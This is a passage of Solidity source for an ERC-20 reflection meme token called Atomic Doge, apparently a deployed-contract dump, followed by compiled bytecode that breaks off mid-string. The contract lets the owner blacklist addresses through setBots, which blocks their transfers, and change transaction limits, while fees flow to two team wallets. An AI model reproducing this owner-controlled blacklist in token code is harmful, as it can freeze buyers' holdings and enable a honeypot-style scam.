function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AtomicDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Atomic Doge";
string private constant _symbol = 'ATOMGE️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 5;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
//_maxTxAmount = 1 * 10**12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600b81526020017f41746f6d696320446f6765000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f41544f4d4745efb88f0000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001